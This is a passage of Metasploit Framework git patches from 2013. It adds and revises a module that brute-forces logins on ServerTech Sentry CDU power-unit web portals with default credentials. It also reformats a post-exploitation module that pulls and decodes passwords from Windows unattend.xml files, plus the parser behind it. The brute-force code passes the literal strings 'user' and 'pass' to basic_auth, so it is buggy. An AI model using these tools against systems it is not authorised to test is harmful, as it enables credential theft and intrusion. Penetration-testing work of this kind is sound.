ARCH_X86,nil + exe = to_win32pe(framework, code, exeopts) + when ARCH_X86_64,ARCH_X64 + exe = to_win64pe(framework, code, exeopts) + end + output = Msf::Util::EXE.to_exe_msi(framework, exe, exeopts) when 'elf' if (not plat or (plat.index(Msf::Module::Platform::Linux))) From 3786376b42bc7748df32ec127749ad5c628a301f Mon Sep 17 00:00:00 2001 From: Karn Ganeshen <KarnGaneshen@gmail.com> Date: Tue, 3 Sep 2013 14:44:03 +0530 Subject: [PATCH 026/210] Aux module for Sentry CDU enum --- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 130 ++++++++++++++++++ 1 file changed, 130 insertions(+) create mode 100644 modules/auxiliary/scanner/http/sentry_cdu_enum.rb diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb new file mode 100644 index 0000000000..062c45ee42 --- /dev/null +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -0,0 +1,130 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', + 'Description' => %{ + This module scans for ServerTech's Sentry Switched CDU (Cabinet Power Distribution Unit) web login portals, and performs login brute force to identify valid credentials. +Vendor site: www.servertech.com. + }, + 'Author' => + [ + 'Karn Ganeshen <KarnGaneshen[at]gmail.com>', + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(80), + OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), + OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) + ], self.class) + end + + def run_host(ip) + unless check_conn? + print_error("#{rhost}:#{rport} - Connection failed, Aborting...") + return + end + + unless is_app_sentry? + print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") + return + end + + print_status("#{rhost}:#{rport} - Starting login brute force...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + def check_conn? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + print_good("#{rhost}:#{rport} - Server is responsive...") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + return + end + end + + # + # What's the point of running this module if the app actually isn't Sentry + # + + def is_app_sentry? + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + + if (res and res.body.include?("Sentry Switched CDU")) + p_name = 'ServerTech Sentry Switched CDU' + print_good("#{rhost}:#{rport} - Running #{p_name}") + return true + else + return false + end + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET', + 'authorization' => basic_auth('user','pass') + }) + + if (res and res.headers['Set-Cookie']) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + + + report_hash = { + :host => rhost, + :port => rport, + :sname => 'ServerTech Sentry Switched CDU', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + + report_auth_info(report_hash) + return :next_user + + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + return :abort + end + end +end From f85b9aa780e5b0eb56453ee9cc58201dcf8e135d Mon Sep 17 00:00:00 2001 From: Karn Ganeshen <KarnGaneshen@gmail.com> Date: Thu, 5 Sep 2013 20:04:02 +0530 Subject: [PATCH 027/210] Updated module - 1 req action Modified the code to have it work with 1 request instead of 3. Thanks Meatballs1! --- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 93 +++++++------------ 1 file changed, 31 insertions(+), 62 deletions(-) diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 062c45ee42..c3f11fb732 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -20,7 +20,6 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', 'Description' => %{ This module scans for ServerTech's Sentry Switched CDU (Cabinet Power Distribution Unit) web login portals, and performs login brute force to identify valid credentials. -Vendor site: www.servertech.com. }, 'Author' => [ @@ -31,68 +30,22 @@ Vendor site: www.servertech.com. register_options( [ - Opt::RPORT(80), OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) ], self.class) end def run_host(ip) - unless check_conn? - print_error("#{rhost}:#{rport} - Connection failed, Aborting...") - return - end - - unless is_app_sentry? - print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") - return - end - - print_status("#{rhost}:#{rport} - Starting login brute force...") each_user_pass do |user, pass| do_login(user, pass) end end - def check_conn? - begin - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - print_good("#{rhost}:#{rport} - Server is responsive...") - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE - return - end - end - - # - # What's the point of running this module if the app actually isn't Sentry - # - - def is_app_sentry? - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - - if (res and res.body.include?("Sentry Switched CDU")) - p_name = 'ServerTech Sentry Switched CDU' - print_good("#{rhost}:#{rport} - Running #{p_name}") - return true - else - return false - end - end - # # Brute-force the login page # def do_login(user, pass) - vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") begin res = send_request_cgi( { @@ -101,27 +54,43 @@ Vendor site: www.servertech.com. 'authorization' => basic_auth('user','pass') }) - if (res and res.headers['Set-Cookie']) - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + if (res) + print_good("#{rhost}:#{rport} - Server is responsive...") + if (res.body.include?("Sentry Switched CDU")) + p_name = 'ServerTech Sentry Switched CDU' + print_good("#{rhost}:#{rport} - Running '#{p_name}'") - report_hash = { - :host => rhost, - :port => rport, - :sname => 'ServerTech Sentry Switched CDU', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") - report_auth_info(report_hash) - return :next_user + if (res.headers['Set-Cookie']) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - else - vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + report_hash = { + :host => rhost, + :port => rport, + :sname => 'ServerTech Sentry Switched CDU', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + + report_auth_info(report_hash) + return :next_user + + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end + + return true + else + print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") + return false + end end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") return :abort From d280d45964dd97b34a25c50951b732229ddd2db7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 5 Sep 2013 10:35:13 -0500 Subject: [PATCH 028/210] Revert "Updated module - 1 req action" This reverts commit f85b9aa780e5b0eb56453ee9cc58201dcf8e135d. --- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 93 ++++++++++++------- 1 file changed, 62 insertions(+), 31 deletions(-) diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index c3f11fb732..062c45ee42 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -20,6 +20,7 @@ class Metasploit3 < Msf::Auxiliary 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', 'Description' => %{ This module scans for ServerTech's Sentry Switched CDU (Cabinet Power Distribution Unit) web login portals, and performs login brute force to identify valid credentials. +Vendor site: www.servertech.com. }, 'Author' => [ @@ -30,22 +31,68 @@ class Metasploit3 < Msf::Auxiliary register_options( [ + Opt::RPORT(80), OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) ], self.class) end def run_host(ip) + unless check_conn? + print_error("#{rhost}:#{rport} - Connection failed, Aborting...") + return + end + + unless is_app_sentry? + print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") + return + end + + print_status("#{rhost}:#{rport} - Starting login brute force...") each_user_pass do |user, pass| do_login(user, pass) end end + def check_conn? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + print_good("#{rhost}:#{rport} - Server is responsive...") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + return + end + end + + # + # What's the point of running this module if the app actually isn't Sentry + # + + def is_app_sentry? + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + + if (res and res.body.include?("Sentry Switched CDU")) + p_name = 'ServerTech Sentry Switched CDU' + print_good("#{rhost}:#{rport} - Running #{p_name}") + return true + else + return false + end + end + # # Brute-force the login page # def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") begin res = send_request_cgi( { @@ -54,43 +101,27 @@ class Metasploit3 < Msf::Auxiliary 'authorization' => basic_auth('user','pass') }) - if (res) - print_good("#{rhost}:#{rport} - Server is responsive...") + if (res and res.headers['Set-Cookie']) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - if (res.body.include?("Sentry Switched CDU")) - p_name = 'ServerTech Sentry Switched CDU' - print_good("#{rhost}:#{rport} - Running '#{p_name}'") - vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + report_hash = { + :host => rhost, + :port => rport, + :sname => 'ServerTech Sentry Switched CDU', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } - if (res.headers['Set-Cookie']) - print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + report_auth_info(report_hash) + return :next_user - report_hash = { - :host => rhost, - :port => rport, - :sname => 'ServerTech Sentry Switched CDU', - :user => user, - :pass => pass, - :active => true, - :type => 'password' - } - - report_auth_info(report_hash) - return :next_user - - else - vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") - end - - return true - else - print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") - return false - end + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") return :abort From c44be42cf51693360c14e12e34a197f348066f02 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 5 Sep 2013 10:41:20 -0500 Subject: [PATCH 029/210] Merge the check for Sentry in just one request --- .../auxiliary/scanner/http/sentry_cdu_enum.rb | 50 ++++++------------- 1 file changed, 16 insertions(+), 34 deletions(-) diff --git a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb index 062c45ee42..80f56eec53 100644 --- a/modules/auxiliary/scanner/http/sentry_cdu_enum.rb +++ b/modules/auxiliary/scanner/http/sentry_cdu_enum.rb @@ -19,8 +19,9 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'Sentry Switched CDU Bruteforce Login Utility', 'Description' => %{ - This module scans for ServerTech's Sentry Switched CDU (Cabinet Power Distribution Unit) web login portals, and performs login brute force to identify valid credentials. -Vendor site: www.servertech.com. + This module scans for ServerTech's Sentry Switched CDU (Cabinet Power + Distribution Unit) web login portals, and performs login brute force + to identify valid credentials. }, 'Author' => [ @@ -31,20 +32,14 @@ Vendor site: www.servertech.com. register_options( [ - Opt::RPORT(80), OptString.new('USERNAME', [true, "A specific username to authenticate as, default 'admn'", "admn"]), OptString.new('PASSWORD', [true, "A specific password to authenticate with, deault 'admn'", "admn"]) ], self.class) end def run_host(ip) - unless check_conn? - print_error("#{rhost}:#{rport} - Connection failed, Aborting...") - return - end - unless is_app_sentry? - print_error("#{rhost}:#{rport} - Application does not appear to be Sentry Switched CDU. Module will not continue.") + print_error("#{rhost}:#{rport} - Sentry Switched CDU not found. Module will not continue.") return end @@ -54,43 +49,31 @@ Vendor site: www.servertech.com. end end - def check_conn? + # + # What's the point of running this module if the app actually isn't Sentry + # + def is_app_sentry? begin res = send_request_cgi( { 'uri' => '/', 'method' => 'GET' }) - print_good("#{rhost}:#{rport} - Server is responsive...") - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE - return + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + return false end - end - # - # What's the point of running this module if the app actually isn't Sentry - # - - def is_app_sentry? - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - - if (res and res.body.include?("Sentry Switched CDU")) - p_name = 'ServerTech Sentry Switched CDU' - print_good("#{rhost}:#{rport} - Running #{p_name}") - return true - else - return false - end + if (res and res.body.include?("Sentry Switched CDU")) + vprint_good("#{rhost}:#{rport} - Running ServerTech Sentry Switched CDU") + return true + else + return false + end end # # Brute-force the login page # - def do_login(user, pass) vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") begin @@ -104,7 +87,6 @@ Vendor site: www.servertech.com. if (res and res.headers['Set-Cookie']) print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") - report_hash = { :host => rhost, :port => rport, From 2846a5d68028bf8d1e49d6b8ea9ce09000a2b2cc Mon Sep 17 00:00:00 2001 From: Tab Assassin <tabassassin@metasploit.com> Date: Thu, 5 Sep 2013 14:57:40 -0500 Subject: [PATCH 030/210] Retab changes for PR #1770 --- lib/rex/parser/unattend.rb | 264 +++++++++--------- modules/auxiliary/parser/unattend.rb | 98 +++---- modules/post/windows/gather/enum_unattend.rb | 270 +++++++++---------- 3 files changed, 316 insertions(+), 316 deletions(-) diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb index 4f035704bb..e12d83ec2f 100644 --- a/lib/rex/parser/unattend.rb +++ b/lib/rex/parser/unattend.rb @@ -11,161 +11,161 @@ module Parser # http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx # Samples: http://technet.microsoft.com/en-us/library/cc732280%28v=ws.10%29.aspx class Unattend - - require 'rex/text' + + require 'rex/text' - def self.parse(xml) - return [] if xml.nil? - results = [] - unattend = xml.elements['unattend'] - return [] if unattend.nil? - unattend.each_element do |settings| - next if settings.class != REXML::Element - settings.get_elements('component').each do |c| - next if c.class != REXML::Element - results << extract_useraccounts(c.elements['UserAccounts']) - results << extract_autologon(c.elements['AutoLogon']) - results << extract_deployment(c.elements['WindowsDeploymentServices']) - results << extract_domain_join(c.elements['Identification/Credentials']) - end - end - return results.flatten - end + def self.parse(xml) + return [] if xml.nil? + results = [] + unattend = xml.elements['unattend'] + return [] if unattend.nil? + unattend.each_element do |settings| + next if settings.class != REXML::Element + settings.get_elements('component').each do |c| + next if c.class != REXML::Element + results << extract_useraccounts(c.elements['UserAccounts']) + results << extract_autologon(c.elements['AutoLogon']) + results << extract_deployment(c.elements['WindowsDeploymentServices']) + results << extract_domain_join(c.elements['Identification/Credentials']) + end + end + return results.flatten + end - # - # Extract sensitive data from Deployment Services. - # We can only seem to add one <Login> with Windows System Image Manager, so - # we'll only enum one. - # - def self.extract_deployment(deployment) - return [] if deployment.nil? - domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' - username = deployment.elements['Login/Credentials/Username'].get_text.value rescue '' - password = deployment.elements['Login/Credentials/Password'].get_text.value rescue '' - plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true' + # + # Extract sensitive data from Deployment Services. + # We can only seem to add one <Login> with Windows System Image Manager, so + # we'll only enum one. + # + def self.extract_deployment(deployment) + return [] if deployment.nil? + domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' + username = deployment.elements['Login/Credentials/Username'].get_text.value rescue '' + password = deployment.elements['Login/Credentials/Password'].get_text.value rescue '' + plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true' - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') - end + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') + end - return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password } - end + return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password } + end - # - # Extract sensitive data from 'Secure' Domain Join - # - def self.extract_domain_join(credentials) - return [] if credentials.nil? - domain = credentials.elements['Domain'].get_text.value rescue '' - username = credentials.elements['Username'].get_text.value rescue '' - password = credentials.elements['Password'].get_text.value rescue '' + # + # Extract sensitive data from 'Secure' Domain Join + # + def self.extract_domain_join(credentials) + return [] if credentials.nil? + domain = credentials.elements['Domain'].get_text.value rescue '' + username = credentials.elements['Username'].get_text.value rescue '' + password = credentials.elements['Password'].get_text.value rescue '' - return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password } - end + return {'type' => 'domain_join', 'domain' => domain, 'username' => username, 'password' => password } + end - # - # Extract sensitive data from AutoLogon - # - def self.extract_autologon(auto_logon) - return [] if auto_logon.nil? + # + # Extract sensitive data from AutoLogon + # + def self.extract_autologon(auto_logon) + return [] if auto_logon.nil? - domain = auto_logon.elements['Domain'].get_text.value rescue '' - username = auto_logon.elements['Username'].get_text.value rescue '' - password = auto_logon.elements['Password/Value'].get_text.value rescue '' - plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true' + domain = auto_logon.elements['Domain'].get_text.value rescue '' + username = auto_logon.elements['Username'].get_text.value rescue '' + password = auto_logon.elements['Password/Value'].get_text.value rescue '' + plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true' - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') - end + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') + end - return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password } - end + return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password } + end - # - # Extract sensitive data from UserAccounts - # - def self.extract_useraccounts(user_accounts) - return[] if user_accounts.nil? + # + # Extract sensitive data from UserAccounts + # + def self.extract_useraccounts(user_accounts) + return[] if user_accounts.nil? - results = [] - account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts'] - account_types.each do |t| - element = user_accounts.elements[t] - next if element.nil? + results = [] + account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts'] + account_types.each do |t| + element = user_accounts.elements[t] + next if element.nil? - case t - # - # Extract the password from AdministratorPasswords - # - when account_types[0] - password = element.elements['Value'].get_text.value rescue '' - plaintext = element.elements['PlainText'].get_text.value rescue 'true' + case t + # + # Extract the password from AdministratorPasswords + # + when account_types[0] + password = element.elements['Value'].get_text.value rescue '' + plaintext = element.elements['PlainText'].get_text.value rescue 'true' - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '') - end + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '') + end - if not password.empty? - results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password} - end + if not password.empty? + results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password} + end - # - # Extract the sensitive data from DomainAccounts. - # According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts - # - when account_types[1] #DomainAccounts - element.elements.each do |account_list| - name = account_list.elements['DomainAccount/Name'].get_text.value rescue '' - group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true' + # + # Extract the sensitive data from DomainAccounts. + # According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts + # + when account_types[1] #DomainAccounts + element.elements.each do |account_list| + name = account_list.elements['DomainAccount/Name'].get_text.value rescue '' + group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true' - results << {'type' => 'domain', 'username' => name, 'group' => group} - end - # - # Extract the username/password from LocalAccounts - # - when account_types[2] #LocalAccounts - element.elements.each do |local| - password = local.elements['Password/Value'].get_text.value rescue '' - plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true' + results << {'type' => 'domain', 'username' => name, 'group' => group} + end + # + # Extract the username/password from LocalAccounts + # + when account_types[2] #LocalAccounts + element.elements.each do |local| + password = local.elements['Password/Value'].get_text.value rescue '' + plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true' - if plaintext == 'false' - password = Rex::Text.decode_base64(password) - password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') - end + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') + end - username = local.elements['Name'].get_text.value rescue '' - results << {'type' => 'local', 'username' => username, 'password' => password} - end - end - end + username = local.elements['Name'].get_text.value rescue '' + results << {'type' => 'local', 'username' => username, 'password' => password} + end + end + end - return results - end + return results + end - def self.create_table(results) - return nil if results.nil? or results.empty? - table = Rex::Ui::Text::Table.new({ - 'Header' => 'Unattend Credentials', - 'Indent' => 1, - 'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups'] - }) + def self.create_table(results) + return nil if results.nil? or results.empty? + table = Rex::Ui::Text::Table.new({ + 'Header' => 'Unattend Credentials', + 'Indent' => 1, + 'Columns' => ['Type', 'Domain', 'Username', 'Password', 'Groups'] + }) - results.each do |result| - case result['type'] - when 'wds', 'auto', 'domain_join' - table << [result['type'], result['domain'], result['username'], result['password'], ""] - when 'admin', 'local' - table << [result['type'], "", result['username'], result['password'], ""] - when 'domain' - table << [result['type'], "", result['username'], "", result['group']] - end - end + results.each do |result| + case result['type'] + when 'wds', 'auto', 'domain_join' + table << [result['type'], result['domain'], result['username'], result['password'], ""] + when 'admin', 'local' + table << [result['type'], "", result['username'], result['password'], ""] + when 'domain' + table << [result['type'], "", result['username'], "", result['group']] + end + end - return table - end + return table + end end end end diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index d192a2c6b1..32f5ab5ff9 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -10,60 +10,60 @@ require 'rex/parser/unattend' class Metasploit3 < Msf::Auxiliary - def initialize(info={}) - super( update_info( info, - 'Name' => 'Auxilliary Parser Windows Unattend Passwords', - 'Description' => %q{ - This module parses Unattend files in the target directory. + def initialize(info={}) + super( update_info( info, + 'Name' => 'Auxilliary Parser Windows Unattend Passwords', + 'Description' => %q{ + This module parses Unattend files in the target directory. - See also: post/windows/gather/enum_unattend - }, - 'License' => MSF_LICENSE, - 'Author' =>[ - 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', - ], - 'References' => - [ - ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], - ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] - ], - )) + See also: post/windows/gather/enum_unattend + }, + 'License' => MSF_LICENSE, + 'Author' =>[ + 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>', + ], + 'References' => + [ + ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], + ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] + ], + )) - register_options([ - OptPath.new('PATH', [true, 'Directory or file to parse.']), - OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]), - ]) - end + register_options([ + OptPath.new('PATH', [true, 'Directory or file to parse.']), + OptBool.new('RECURSIVE', [true, 'Recursively check for files', false]), + ]) + end - def run - if datastore['RECURSIVE'] - ext = "**/*.xml" - else - ext = "/*.xml" - end + def run + if datastore['RECURSIVE'] + ext = "**/*.xml" + else + ext = "/*.xml" + end - if datastore['PATH'].ends_with('.xml') - filepath = datastore['PATH'] - else - filepath = File.join(datastore['PATH'], ext) - end + if datastore['PATH'].ends_with('.xml') + filepath = datastore['PATH'] + else + filepath = File.join(datastore['PATH'], ext) + end - Dir.glob(filepath) do |item| - print_status "Processing #{item}" - file = File.read(item) - begin - xml = REXML::Document.new(file) - rescue REXML::ParseException => e - print_error("#{item} invalid xml format.") - vprint_line(e.message) - next - end + Dir.glob(filepath) do |item| + print_status "Processing #{item}" + file = File.read(item) + begin + xml = REXML::Document.new(file) + rescue REXML::ParseException => e + print_error("#{item} invalid xml format.") + vprint_line(e.message) + next + end - results = Rex::Parser::Unattend.parse(xml) - table = Rex::Parser::Unattend.create_table(results) - print_line table.to_s unless table.nil? - print_line - end - end + results = Rex::Parser::Unattend.parse(xml) + table = Rex::Parser::Unattend.create_table(results) + print_line table.to_s unless table.nil? + print_line + end + end end diff --git a/modules/post/windows/gather/enum_unattend.rb b/modules/post/windows/gather/enum_unattend.rb index 999965db2a..ebe1c06a11 100644 --- a/modules/post/windows/gather/enum_unattend.rb +++ b/modules/post/windows/gather/enum_unattend.rb @@ -12,167 +12,167 @@ require 'rexml/document' class Metasploit3 < Msf::Post - include Msf::Post::File + include Msf::Post::File - def initialize(info={}) - super( update_info( info, - 'Name' => 'Windows Gather Unattended Answer File Enumeration', - 'Description' => %q{ - This module will check the file system for a copy of unattend.xml and/or - autounattend.xml found in Windows Vista, or newer Windows systems. And then - extract sensitive information such as usernames and decoded passwords. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Sean Verity <veritysr1980[at]gmail.com>', - 'sinn3r', - 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' - ], - 'References' => - [ - ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], - ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] - ], - 'Platform' => [ 'win' ], - 'SessionTypes' => [ 'meterpreter' ] - )) + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Unattended Answer File Enumeration', + 'Description' => %q{ + This module will check the file system for a copy of unattend.xml and/or + autounattend.xml found in Windows Vista, or newer Windows systems. And then + extract sensitive information such as usernames and decoded passwords. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Sean Verity <veritysr1980[at]gmail.com>', + 'sinn3r', + 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' + ], + 'References' => + [ + ['URL', 'http://technet.microsoft.com/en-us/library/ff715801'], + ['URL', 'http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx'] + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) - register_options( - [ - OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true]) - ], self.class) - end + register_options( + [ + OptBool.new('GETALL', [true, 'Collect all unattend.xml that are found', true]) + ], self.class) + end - # - # Determine if unattend.xml exists or not - # - def unattend_exists?(xml_path) - x = session.fs.file.stat(xml_path) rescue nil - return !x.nil? - end + # + # Determine if unattend.xml exists or not + # + def unattend_exists?(xml_path) + x = session.fs.file.stat(xml_path) rescue nil + return !x.nil? + end - # - # Read and parse the XML file - # - def load_unattend(xml_path) - print_status("Reading #{xml_path}") - f = session.fs.file.new(xml_path) - raw = "" - until f.eof? - raw << f.read - end + # + # Read and parse the XML file + # + def load_unattend(xml_path) + print_status("Reading #{xml_path}") + f = session.fs.file.new(xml_path) + raw = "" + until f.eof? + raw << f.read + end - begin - xml = REXML::Document.new(raw) - rescue REXML::ParseException => e - print_error("Invalid XML format") - vprint_line(e.message) - return nil, raw - end + begin + xml = REXML::Document.new(raw) + rescue REXML::ParseException => e + print_error("Invalid XML format") + vprint_line(e.message) + return nil, raw + end - return xml, raw - end + return xml, raw + end - # - # Save Rex tables separately - # - def save_cred_tables(cred_table) - t = cred_table - vprint_line("\n#{t.to_s}\n") - p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, t.header, t.header) - print_status("#{t.header} saved as: #{p}") - end + # + # Save Rex tables separately + # + def save_cred_tables(cred_table) + t = cred_table + vprint_line("\n#{t.to_s}\n") + p = store_loot('windows.unattended.creds', 'text/csv', session, t.to_csv, 